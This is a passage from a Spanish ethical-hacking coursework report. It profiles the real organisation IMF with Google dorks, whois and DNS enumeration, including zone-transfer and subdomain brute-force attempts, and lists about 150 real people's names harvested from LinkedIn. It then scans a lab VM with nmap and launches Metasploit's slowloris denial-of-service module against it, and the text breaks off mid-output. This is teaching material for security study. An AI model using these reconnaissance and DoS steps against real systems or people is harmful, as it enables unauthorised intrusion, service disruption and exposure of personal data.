Está en la página 1de 45

Hoja de respuestas

Módulo Hacking Ético

Nombre y apellidos xxxxxx

Fecha entrega 20/06/2022

Enunciado de la pregunta:

CASO PRÁCTICO
HACKING ÉTICO
Contenido

1. INTRODUCCIÓN ....................................................................................... 3
2. PREPARACIÓN Y RECONOCIMIENTO ....................................................... 4
3. ESCANEO ................................................................................................ 17
4. EXPLOTACIÓN DE VULNERABILIDADES Y ESCALADA DE PRIVILEGIOS .. 22
5. CONCLUSIONES ...................................................................................... 44

2
1. INTRODUCCIÓN
Se pretende realizar una auditoría de seguridad para comprobar los mecanismos de
seguridad y verificar la postura de seguridad de la organización IMF frente a un ataque.
La auditoría a realizar será del tipo Caja Negra dado que sólo se conocerá el nombre
de la organización de forma que se simulará un ataque externo real.

El orden que se seguirá durante el proceso de hacking ético será el siguiente:


Preparación, reconocimiento, escaneo, explotación, análisis e informe. Dado que no se
puede atacar una organización sin tener su previo consentimiento dentro de las fases
de análisis sólo se contemplarán las fases de reconocimiento (reconocimiento,
fingerprinting) y escaneo (comando básicos y puerto, servicios). En cuanto al análisis
de vulnerabilidades se empleará una máquina virtual proporcionada para ello. En la que
una vez descargada e instalada se realizarán las siguientes acciones dentro del proceso
de hacking ético.

• Lanzar un escaneo semiautomático para identificar las posibles


vulnerabilidades de la web.

• Para aquellas vulnerabilidades detectadas, comprobar si se trata de falsos


positivos o si son amenazas reales.

• Explotar las vulnerabilidades detectadas con otras herramientas diferentes a


la detección de vulnerabilidades.

• Realizar una escalada de privilegios.

• Realizar un análisis del resto de servicios en ejecución.

En los siguientes apartados se detallarán las diferentes fases del procedimiento de


hacking ético en los que se detallarán todos pasos y se añadirán evidencias de los
mismos.

3
2. PREPARACIÓN Y RECONOCIMIENTO

En una primera fase se realizará un reconocimiento pasivo (footprinting) en el que


se recolectará información pública de la organización IMF a través de internet. Dado que
se trata de datos públicos, la organización no tiene forma de detectar que se están
recopilando datos sobre ella.

En primer lugar, se utilizará el operador de búsqueda Google que gracias a sus


operadores de búsqueda se permite acotar las búsquedas y ser más precisos a la hora
de obtener información.

Limitando la búsqueda en Google a un único dominio con el operador site se


obtienen los subdominios indexados o la presencia de la organización en la web. En la
siguiente imagen se muestra el resultado de la búsqueda al dominio imf.com obteniendo
diferentes resultados.

4
Se observa que aparecen resultados de acceso al campus virtual de los centros
colaboradores Universidad Camilo José Cela como Universidad Antonio Nebrija el área
de estudiante y fuente de financiación online para lanzar un proyecto e información en
cuanto a másteres online y programas MBA. Destacar que también se ha empleado la
búsqueda al dominio imf-formacion.com debido a que en diferentes resultados de la
búsqueda la URL resultante contenía la dirección es https://www.imf-formacion.com/.
En la siguiente figura se muestra los resultados obtenidos para site:imf-formacion.com.

Se observan dominios de la organización para diferentes países como Estados


Unidos, Colombia o Chile, información de los diferentes másteres ofertados, así como
de sus programas MBA aparte de información de contacto y del profesorado.

Se emplean otros operadores de búsqueda para seguir obteniendo información de


la organización.

5
La siguiente imagen muestra el resultado de documentos pdf asociados al dominio
imf-formacion.com utilizando el operador site:imf-formacion filetype:pdf

En los resultados se puede observar diferentes presentaciones como un curso


básico de prevención de riesgos laborales, plan de carrera formación condiciones
laborales proceso de selección, el catálogo de másteres oficiales y profesionales o una
presentación de Ciberseguridad en España: oportunidades y amenazas, El marketing
digital moderno, utilizando la automatización como estrategia multicanal en los
departamentos de marketing, CASOS 2.0 SEMrush: analiza a tu competencia en
Internet.

Aparte también se ha empleado el operador allintittle:imf apareciendo resultados de


prácticas y exámenes relativos al master Ciberseguridad, entre ellos la solución al caso
práctico de Hacking Ético en www.coursehero.com.

6
Además de la información mostrada sobre el profesorado al realizar la búsqueda de
site:imf-formacion.com, se ha procedido a obtener información de posibles usuarios,
correos electrónicos y empleados de la organización mediante e-mail harvesting. Para
ello se ha empleado la herramienta The Harvester disponible en la distribución Kali
Linux. Se realiza una búsqueda utilizando como fuente de datos Linkedin. A
continuación se muestran los resultados obtenidos por The Harvester para imf-
formacion.

[93m*******************************************************************
* _ _ _ *
* | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
* | __| _ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
* *
* theHarvester 4.0.3 *
* Coded by Christian Martorella *
* Edge-Security Research *
* cmartorella@edge-security.com *
* *
*******************************************************************

[0m
7
[94m[*] Target: imf-formacion
[0m
Searching 100 results.
Searching 200 results.
Searching 300 results.
Searching 400 results.
Searching 500 results.
[94m[*] Searching Linkedin. [0m

[*] LinkedIn Users found: 152


---------------------
Ainhoa Arnoriaga Campo - IMF Business School
Aitziber Txakartegi Hernandez - Profesora titular
Albert Vall Toscas
Alberto Cipolla
Alberto Leal Romero
Alejandro Vidal - Responsable
Alex Sanchez Salazar - NIVORIA - The Digital Partner
Ana Cabezas
Ana Campillo - CALAF CONSTRUCTORA
Ana Fuentes Martin
Ana Leal Castilla
Ana Rodriguez Mora - Delegada ventas farmacias
Anabel Vaquer - Miembro del claustro docente
Angel Arribas Sanz - Manager de Sistemas
Angeles Albarran
Angeles Toro Delgado
Arancha Garcia Perez - Proyectos especiales
Beatriz Aguilar Rosa
Bella F M
Carles Forns
Carlos Almeida - Analista de Ciberseguridad
Cesar Lopez Navarro - IMF Business School
Cristina Ayala Moya
Cristina Irisarri Tanco
Cristina M. - Educadora en CDAFA Illescas
Cristina Sancho Paul - GERENTE- PROPIETARIA
DENISE SANCHEZ ROMERO - IMF
Daniel Diez Zapardiel - HR Business Partner Iberia
Daniel Gomez Vallejo - IMF Business School
Daniel Marrero Lorenzo
Davi Mayer
David Colomar Careta
David Torrecilla Fuentes
Diana Milena Rondon Delgado
Egoitz A. - - -
Elena Rubio
Enrique de la Cerda Cisneros
Ernesto Porcar Bataller
Esperanza Plaza - Gestora
Esther Herrero Benito
Eva Meseguer - Tecnica RRHH
FELIX JIMENO - comercial
Fernando Palau Ramos - IMF Business School
Guadalupe Guerrero Ramos

8
Helena Mohedano Quiroz - UNIR
Helena Sanchez - HSE Manager
Inmaculada Blasco de Castro
Inmaculada Salcedo Moreno
Isabel Guerra Cascos - Administrativa
Isabel Maria Colino Medina
J. Pedro Mera Oliva - Ingeniero Tec. Ind.
Jara Domenech - Analista Control Riesgo Operacional
Javi Martin
Javier Carretero Chamorro
Javier Coronel Trenado - Banca
Javier Cotan - GRUPO IMF-FORMACION
Jesus Sepulveda - Responsable de proyectos
Jorge Andres Florez Rivera - UNIR
Jose Jimenez Ruiz - Ingeniero de Caminos
Jose Luis Fachal
Jose Morente Castillo
Josune Segovia Bueno
Josune Segovia Bueno - Clonlara School
Juan Alberto Garcia
Juan Antonio Marco Montes De Oca - GRUPO YAGU
Juan Francisco Maroto Arnaiz - Junta Directiva
Juan Ignacio Arano Simiele - Chief Innovation Officer
LAURA CALVENTE OTERO
Laura Ruiz Gonzalez
Laura Vidal
Leticia Perez - Tecnica de empleo
Leticia Perez Arreba - Tecnica de empleo
Leydi Hidalgo
Lola Sicilia Paneque - GRUPO IMF FORMACION
Lourdes Iglesias Toimil - IMF Business School
Lucas Garcia Blanes - Formador
M. Angeles Romero Ruiz
MATILDE RUESCAS - IMF Business School
Magdalena Wozniak - Faborit Coffee Shop
Manuel Jesus Hernandez Quesada - Profesor
Marcelo di Iorio - Sr. Global Black Belt for CloudKnox
Maria Carmen LopezMosteiro Garcia
Maria Gil Navarro
Maria Llera-Soldevila
Mariam Herrero Latorre - Secretario administrativo
Maricarmen Gaytan - Estudiante Arte y Arqueologia
Mario Copado
Maximiliano Perez Camard - BE
Maximiliano Perez Camard - BE - Inetum
Monica Aceituno Berengueras - IMF formacion
NATALIA GARCIA VARONA - Contable
NURIA BEATRIZ ALSINA CALDERON
Nacho Carro Gaspar
Nagore Rodriguez Eguren
Nerea Rueda
Nieva Machin - Profesor universitario a tiempo parcial
Nieves Diaz
Norma Fuentes Cucarella - INESEM Business School
Nuria Fernandez Lopez - IMF Smart Education

9
Nuria Gonzalez-Gamallo
Nuria Izquierdo
Nuria del Oso
Olga M.
Oscar Marin Carvajal - Talent Acquisition Specialist
Paloma Garcia
Patricia Echegaray Ruiz
Patricia Evangelio Morato
Patricia Guirado Carabel
Patricia Hermosa Noel
Pilar Niebla Losada - Administrativa
RAQUEL SAN CRISTOBAL BARROSO - IMF
Rafael Mesa
Raquel Garcia Molina
Raquel Lamelas Alguacil - IMF Business School
Raul Hernandez
Ricardo Ferreira - Business Developer
Roger Bellavista Fortuny
Rosa Cabezas Ventura - Formadora
Ruben Fuste Murillo
SONIA AMENEDO PEREZ - Departamento Financiero
Sandra Chiarucci Largo - Responsable
Sandra Franco Meliveo
Sandra Laperal Toquero
Sandra Lopez Bermudez - Asistente administrativo
Sandra Pascual - Gestor de cuentas
Sergio Crespo
Sergio Rabanal Alascio
Silvia Robador
Soledad Garcia-Navas - Gerente
Sonia Delgado Ardoy
Susana Herrero Carrion
Susana Murillo Maya
Tania de la Cruz Ramos - IMF Business School
Teresa Canals Morera - Analista de laboratorio
Teresa Ceballos - Trabajadora
Veronica Prieto Pizarro - Consultora comercial
Vicente Lanz Raggio
Vicente Peco Bueno
Virginia Arencibia - Dependiente
Wender Amaro de Azevedo
Xabier Maldonado Resano
Yaiza C.
Yolanda Alvarez
Yolanda C. - Departamento de rrhh
Yolanda Ranea Moreno - IMF Smart Education
Your search
antonio parrilla rodriguez
julia rodes
menague marie danielle
nahia leibar ugarte - ULMA Agricola S Coop

[*] LinkedIn Links found: 0


---------------------
Ainhoa Arnoriaga Campo - IMF Business School

10
Aitziber Txakartegi Hernandez - Profesora titular
Albert Vall Toscas
Alberto Cipolla
Alberto Leal Romero
Alejandro Vidal - Responsable
Alex Sanchez Salazar - NIVORIA - The Digital Partner
Ana Cabezas
Ana Campillo - CALAF CONSTRUCTORA
Ana Fuentes Martin
Ana Leal Castilla
Ana Rodriguez Mora - Delegada ventas farmacias
Anabel Vaquer - Miembro del claustro docente
Angel Arribas Sanz - Manager de Sistemas
Angeles Albarran
Angeles Toro Delgado
Arancha Garcia Perez - Proyectos especiales
Beatriz Aguilar Rosa
Bella F M
Carles Forns
Carlos Almeida - Analista de Ciberseguridad
Cesar Lopez Navarro - IMF Business School
Cristina Ayala Moya
Cristina Irisarri Tanco
Cristina M. - Educadora en CDAFA Illescas
Cristina Sancho Paul - GERENTE- PROPIETARIA
DENISE SANCHEZ ROMERO - IMF
Daniel Diez Zapardiel - HR Business Partner Iberia
Daniel Gomez Vallejo - IMF Business School
Daniel Marrero Lorenzo
Davi Mayer
David Colomar Careta
David Torrecilla Fuentes
Diana Milena Rondon Delgado
Egoitz A. - - -
Elena Rubio
Enrique de la Cerda Cisneros
Ernesto Porcar Bataller
Esperanza Plaza - Gestora
Esther Herrero Benito
Eva Meseguer - Tecnica RRHH
FELIX JIMENO - comercial
Fernando Palau Ramos - IMF Business School
Guadalupe Guerrero Ramos
Helena Mohedano Quiroz - UNIR
Helena Sanchez - HSE Manager
Inmaculada Blasco de Castro
Inmaculada Salcedo Moreno
Isabel Guerra Cascos - Administrativa
Isabel Maria Colino Medina
J. Pedro Mera Oliva - Ingeniero Tec. Ind.
Jara Domenech - Analista Control Riesgo Operacional
Javi Martin
Javier Carretero Chamorro
Javier Coronel Trenado - Banca
Javier Cotan - GRUPO IMF-FORMACION

11
Jesus Sepulveda - Responsable de proyectos
Jorge Andres Florez Rivera - UNIR
Jose Jimenez Ruiz - Ingeniero de Caminos
Jose Luis Fachal
Jose Morente Castillo
Josune Segovia Bueno
Josune Segovia Bueno - Clonlara School
Juan Alberto Garcia
Juan Antonio Marco Montes De Oca - GRUPO YAGU
Juan Francisco Maroto Arnaiz - Junta Directiva
Juan Ignacio Arano Simiele - Chief Innovation Officer
LAURA CALVENTE OTERO
Laura Ruiz Gonzalez
Laura Vidal
Leticia Perez - Tecnica de empleo
Leticia Perez Arreba - Tecnica de empleo
Leydi Hidalgo
Lola Sicilia Paneque - GRUPO IMF FORMACION
Lourdes Iglesias Toimil - IMF Business School
Lucas Garcia Blanes - Formador
M. Angeles Romero Ruiz
MATILDE RUESCAS - IMF Business School
Magdalena Wozniak - Faborit Coffee Shop
Manuel Jesus Hernandez Quesada - Profesor
Marcelo di Iorio - Sr. Global Black Belt for CloudKnox
Maria Carmen LopezMosteiro Garcia
Maria Gil Navarro
Maria Llera-Soldevila
Mariam Herrero Latorre - Secretario administrativo
Maricarmen Gaytan - Estudiante Arte y Arqueologia
Mario Copado
Maximiliano Perez Camard - BE
Maximiliano Perez Camard - BE - Inetum
Monica Aceituno Berengueras - IMF formacion
NATALIA GARCIA VARONA - Contable
NURIA BEATRIZ ALSINA CALDERON
Nacho Carro Gaspar
Nagore Rodriguez Eguren
Nerea Rueda
Nieva Machin - Profesor universitario a tiempo parcial
Nieves Diaz
Norma Fuentes Cucarella - INESEM Business School
Nuria Fernandez Lopez - IMF Smart Education
Nuria Gonzalez-Gamallo
Nuria Izquierdo
Nuria del Oso
Olga M.
Oscar Marin Carvajal - Talent Acquisition Specialist
Paloma Garcia
Patricia Echegaray Ruiz
Patricia Evangelio Morato
Patricia Guirado Carabel
Patricia Hermosa Noel
Pilar Niebla Losada - Administrativa
RAQUEL SAN CRISTOBAL BARROSO - IMF

12
Rafael Mesa
Raquel Garcia Molina
Raquel Lamelas Alguacil - IMF Business School
Raul Hernandez
Ricardo Ferreira - Business Developer
Roger Bellavista Fortuny
Rosa Cabezas Ventura - Formadora
Ruben Fuste Murillo
SONIA AMENEDO PEREZ - Departamento Financiero
Sandra Chiarucci Largo - Responsable
Sandra Franco Meliveo
Sandra Laperal Toquero
Sandra Lopez Bermudez - Asistente administrativo
Sandra Pascual - Gestor de cuentas
Sergio Crespo
Sergio Rabanal Alascio
Silvia Robador
Soledad Garcia-Navas - Gerente
Sonia Delgado Ardoy
Susana Herrero Carrion
Susana Murillo Maya
Tania de la Cruz Ramos - IMF Business School
Teresa Canals Morera - Analista de laboratorio
Teresa Ceballos - Trabajadora
Veronica Prieto Pizarro - Consultora comercial
Vicente Lanz Raggio
Vicente Peco Bueno
Virginia Arencibia - Dependiente
Wender Amaro de Azevedo
Xabier Maldonado Resano
Yaiza C.
Yolanda Alvarez
Yolanda C. - Departamento de rrhh
Yolanda Ranea Moreno - IMF Smart Education
Your search
antonio parrilla rodriguez
julia rodes
menague marie danielle
nahia leibar ugarte - ULMA Agricola S Coop

[*] No IPs found.

[*] No emails found.

[*] No hosts found.

En los resultados se encuentran diferentes usuarios registrados como manager,


responsable, miembros de junta directiva, de recursos humanos, gerentes, consultores
y profesores.

13
Aparte también se utiliza la herramienta Whois para extraer información sobre el
dominio de la organización donde se obtiene la fecha de creación del dominio, el
registrador e información de contacto.

Domain Name: imf-formacion.com


Registry Domain ID: 77881834_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.dinahosting.com
Registrar URL: http://dinahosting.com
Updated Date: 2020-12-08T07:22:17Z
Creation Date: 2001-09-27T15:25:06Z
Registrar Registration Expiration Date: 2030-09-27T15:25:06Z
Registrar: Dinahosting s.l.
Registrar IANA ID: 1262
Registrar Abuse Contact Email: abuse-domains@dinahosting.com
Registrar Abuse Contact Phone: +34.981040200
Domain Status: clientDeleteProhibited (http://www.icann.org/epp#clientDeleteProhibited)
Domain Status: clientTransferProhibited (http://www.icann.org/epp#clientTransferProhibited)
Registrant ID: Redacted by Privacy
Registrant Name: Redacted by Privacy
Registrant Organization: IMF International Business School
Registrant Street: Redacted by Privacy
Registrant City: Redacted by Privacy
Registrant State/Province: Madrid
Registrant Postal Code: Redacted by Privacy
Registrant Country: ES
Registrant Phone: Redacted by Privacy
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: https://dinahosting.com/dominios/contacto-whois/dominio/imf-formacion.com
Admin ID: Redacted by Privacy
Admin Name: Redacted by Privacy
Admin Organization: Redacted by Privacy
Admin Street: Redacted by Privacy
Admin City: Redacted by Privacy
Admin State/Province: Redacted by Privacy
Admin Postal Code: Redacted by Privacy
Admin Country: Redacted by Privacy
Admin Phone: Redacted by Privacy
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: https://dinahosting.com/dominios/contacto-whois/dominio/imf-formacion.com
Tech ID: Redacted by Privacy
Tech Name: Redacted by Privacy
Tech Organization: Redacted by Privacy
Tech Street: Redacted by Privacy
Tech City: Redacted by Privacy
Tech State/Province: Redacted by Privacy
Tech Postal Code: Redacted by Privacy
Tech Country: Redacted by Privacy
Tech Phone: Redacted by Privacy

14
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: https://dinahosting.com/dominios/contacto-whois/dominio/imf-formacion.com
Name Server: george.ns.cloudflare.com
Name Server: rosalyn.ns.cloudflare.com
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2022-05-29T11:44:32+0200 <<<

Se observa que el dominio fue creado en Septiembre de 2001 desde Madrid, hay un
número de contacto +34 981 040 200 y que la organización registrada es IMF
International Business School, correo de contacto:
https://dinahosting.com/dominios/contacto-whois/dominio/imf-formacion.com aunque
en la web indicada no se proporciona información al respecto y los nombres de los
servidores de dominio george.ns.cloudflare.com y rosalyn.ns.cloudflare.com. Se
observa que hay muchos campos en los que aparece Redacted by Privacy y no se
proporciona la información.

Se emplea la enumeración de DNS encontrando diferentes subdominios que tiene


publicados imf-formacion.com mediante la herramienta nslookup

sudo nslookup imf-formacion.com


Server: 8.8.8.8
Address: 8.8.8.8#53

Non-authoritative answer:
Name: imf-formacion.com
Address: 35.189.200.176

Se obtiene la dirección 35.189.200.176. Por último, en la fase de enumeración de


DNS se emplea la herramienta dnsenum que intenta realizar transferencia de un dominio
dado en este caso imf-formacion

sudo dnsenum imf-formacion.com


dnsenum VERSION:1.2.6

----- imf-formacion.com -----

Host's
addresses:

15
__________________

imf-formacion.com. 300 IN A 35.189.200.176

Name Servers:
______________

rosalyn.ns.cloudflare.com. 900 IN A 172.64.34.59


rosalyn.ns.cloudflare.com. 900 IN A 162.159.38.59
rosalyn.ns.cloudflare.com. 900 IN A 108.162.194.59
george.ns.cloudflare.com. 865 IN A 172.64.33.167
george.ns.cloudflare.com. 865 IN A 108.162.193.167
george.ns.cloudflare.com. 865 IN A 173.245.59.167

Mail (MX) Servers:


___________________

imfformacion-com0i.mail.protection.outlook.com. 10 IN A
104.47.5.36
imfformacion-com0i.mail.protection.outlook.com. 10 IN A 104.47.6.36

Trying Zone Transfers and getting Bind


Versions:
_________________________________________________

Trying Zone Transfer for imf-formacion.com on rosalyn.ns.cloudflare.com ...


AXFR record query failed: FORMERR

Trying Zone Transfer for imf-formacion.com on george.ns.cloudflare.com ...


AXFR record query failed: FORMERR

Brute forcing with /usr/share/dnsenum/dns.txt:


_______________________________________________

ftp.imf-formacion.com. 300 IN A 82.98.134.118


www.imf-formacion.com. 300 IN A 104.26.15.226
www.imf-formacion.com. 300 IN A 172.67.72.49
www.imf-formacion.com. 300 IN A 104.26.14.226
www2.imf-formacion.com. 300 IN A 195.219.121.20

imf-formacion.com class C netranges:


_____________________________________

35.189.200.0/24
82.98.134.0/24
104.26.14.0/24
104.26.15.0/24
172.67.72.0/24
195.219.121.0/24

16
Performing reverse lookup on 1536 ip addresses:
________________________________________________

Se obtienen diferentes direcciones de servidores, así como los servidores de correo


y no se consigue realizar una transferencia de DNS. A partir de este punto al utilizar
técnicas intrusivas que no están autorizadas para la realización del caso práctico se
continuará la fase de escaneo mediante la máquina virtual proporcionada.

3. ESCANEO

Tras obtener una primera visión general de la infraestructura objetivo se seguirá


ampliando información mediante la fase de escaneo que permitirá obtener una visión
más detallada del objetivo. Para esta fase se empleará la máquina virtual proporcionada
en el caso práctico, dicha máquina virtual se instalará en modo Bridge para que pueda
verse con la distribución Kali Linux instalada. Una vez arrancada se observa que dicha
máquina virtual pide un usuario y contraseña que se desconoce y que se trata de una
máquina Ubuntu 16.04.3 tal como se puede ver en la imagen mostrada a continuación

17
Dado que no se puede obtener la dirección IP de la máquina para continuar con el
ejercicio se realiza un escaneo o descubrimiento de red mediante la herramienta nmap para
toda la red interna 192.168.1.0/24

└─$ sudo nmap -sn 192.168.1.0/24


Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 07:34 EDT
Nmap scan report for 192.168.1.20
Host is up (0.0046s latency).
MAC Address: 08:00:27:8A:57:F8 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.1.30
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 28.45 seconds

Del resultado se obtiene que la dirección de la máquina virtual sería 192.168.1.20 y


que tiene dirección MAC 08:00:27:8A:57:F8, lo que nos permitirá comenzar el escaneo de
vulnerabilidades a dicha IP y obtener mayor información. Mediante el comando de la
herramienta nmap nmap -Pn 192.168.1.20 -O se obtiene el sistema operativo de la máquina
virtual

sudo nmap -Pn 192.168.1.20 -O


Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 07:43 EDT
Nmap scan report for 192.168.1.20
Host is up (0.0017s latency).
Not shown: 579 closed tcp ports (reset), 420 filtered tcp ports (no-response)
PORT STATE SERVICE
119/tcp open nntp
MAC Address: 08:00:27:8A:57:F8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

Se observa que se trata de una máquina Linux 3.2 – 4.9 y aparte se indica que tiene
el puerto TCP 119 abierto para el servicio nntp. Aparte se realiza un escaneo de puertos
TCP para la dirección 192.168.1.20 obteniedo el resultado mostrado a continuación

sudo nmap -Pn 192.168.1.20 -sT


Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 07:48 EDT
Nmap scan report for 192.168.1.20
Host is up (0.00097s latency).
Not shown: 954 closed tcp ports (conn-refused), 40 filtered tcp ports (no-response)
PORT STATE SERVICE

18
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
119/tcp open nntp

Nmap done: 1 IP address (1 host up) scanned in 233.17 seconds

Aparte del puerto 119 antes mencionado se observa que también tiene abiertos los
puertos tcp 21, 22, 25, 80 y 110 mostrando también los diferentes servicios para los que se
utilizan cada uno de los puertos. Para obtener mayor información de los servicios de los
puertos se ejecuta el siguiente comando de nmap

sudo nmap -Pn 192.168.1.20 --script "version"


[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 09:42 EDT
Nmap scan report for 192.168.1.20
Host is up (0.0025s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
|_http-server-header: Apache/2.4.18 (Ubuntu)
110/tcp open pop3
119/tcp open nntp
MAC Address: 08:00:27:8A:57:F8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 15.98 seconds

En él se observa que se ejecuta un servidor Apache/2.4.18 (Ubuntu). Ejecutando el


comando de enumeración más completo con el comando -A se obtiene el siguiente
resultado.

PORT STATE SERVICE VERSION


21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:df:1b:29:5d:1e:3a:2e:9b:e0:11:2f:6a:21:00:39 (RSA)
| 256 90:0c:9a:0a:a2:f6:b6:c9:5e:f2:d8:9d:5f:f3:c7:f4 (ECDSA)
|_ 256 d3:99:aa:5a:aa:25:b6:1f:47:e8:59:a5:c7:4e:95:8a (ED25519)
25/tcp open smtp JAMES smtpd 2.3.2.1
|_smtp-commands: ubuntu Hello nmap.scanme.org (192.168.1.30 [192.168.1.30])
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/cyberacademy
|_http-title: Retos Web

19
|_http-server-header: Apache/2.4.18 (Ubuntu)
110/tcp open pop3 JAMES pop3d 2.3.2.1
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
119/tcp open nntp JAMES nntpd (posting ok)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
125/tcp filtered locus-map
800/tcp filtered mdbs_daemon
1095/tcp filtered nicelink
MAC Address: 08:00:27:8A:57:F8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: ubuntu; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.84 ms 192.168.1.20

OS and Service detection performed. Please report any incorrect results at


https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2070.36 seconds

Al emplear el operador -A se lanzan unos scripts de recopilación de información más


específicos por cada puerto abierto, de ahí que se hayan obtenido ssh-hostkey y que se
observe la ubicación de diferentes ficheros en el servidor Apache en el puerto 80 como el
fichero robots.txt.

Siguiendo con el escaneo se ejecuta el comando nmap 192.168.1.20 –script vuln


para encontrar posibles vulnerabilidades obteniendo los siguientes resultados.

PORT STATE SERVICE


21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
| smtp-vuln-cve2010-4344:
|_ The SMTP server is not Exim: NOT VULNERABLE
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

20
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.20
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.1.20:80/login_1/
| Form id:
| Form action: index.php
|
| Path: http://192.168.1.20:80/login_1/index.php
| Form id:
|_ Form action: index.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /robots.txt: Robots file
|_ /uploads/: Potentially interesting folder
110/tcp open pop3
|_ssl-dh-params: ERROR: Script execution failed (use -d to debug)
|_ssl-heartbleed: ERROR: Script execution failed (use -d to debug)
|_ssl-poodle: ERROR: Script execution failed (use -d to debug)
|_ssl-ccs-injection: ERROR: Script execution failed (use -d to debug)
|_rsa-vuln-roca: ERROR: Script execution failed (use -d to debug)
|_tls-ticketbleed: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown: ERROR: Script execution failed (use -d to debug)
119/tcp open nntp
|_ssl-heartbleed: ERROR: Script execution failed (use -d to debug)
|_ssl-ccs-injection: ERROR: Script execution failed (use -d to debug)
|_ssl-poodle: ERROR: Script execution failed (use -d to debug)
|_rsa-vuln-roca: ERROR: Script execution failed (use -d to debug)
|_tls-ticketbleed: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown: ERROR: Script execution failed (use -d to debug)
|_ssl-dh-params: ERROR: Script execution failed (use -d to debug)
3007/tcp filtered lotusmtap
MAC Address: 08:00:27:8A:57:F8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1349.15 seconds

21
De los resultados obtenidos se observa que es vulnerable a un ataque de
denegación de servicio identificada como CVE-2007-6750 y que también presenta
vulnerabilidades tipo CSRF.

4. EXPLOTACIÓN DE VULNERABILIDADES Y ESCALADA DE PRIVILEGIOS

Una vez finalizado el escaneo de puertos y vulnerabilidades se procede a la


explotación de las mismas y a realizar la escalada de privilegios. Del apartado anterior se
observa que se puede realizar un ataque de denegación de servicio identificada como CVE-
2007-6750. En un primer momento se comprobará que la máquina es vulnerable a este tipo
de ataque de denegación de servicio para ello se ejecutará metasploit y se buscará el
exploit de dicha vulnerabilidad.

Buscando la vulnerabilidad con metasploit aparece la siguiente salida

22
msf6 > search CVE-2007-6750

Matching Modules
================

# Name Disclosure Date Rank Check Description


- ---- --------------- ---- ----- -----------
0 auxiliary/dos/http/slowloris 2009-06-17 normal No Slowloris Denial of
Service Attack

Interact with a module by name or index. For example info 0, use 0 or use
auxiliary/dos/http/slowloris

Se ejecuta el Exploit mostrado para la máquina virtual con IP 192.168.1.20

msf6 > use 0


msf6 auxiliary(dos/http/slowloris) > set RHOST 192.168.1.20
RHOST => 192.168.1.20
msf6 auxiliary(dos/http/slowloris) > exploit

[*] Starting server...


[*] Attacking 192.168.1.20 with 150 sockets
[*] Creating sockets...
[*] Sending keep-alive headers... Socket count: 139
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
[*] Sending keep-alive headers... Socket count: 150
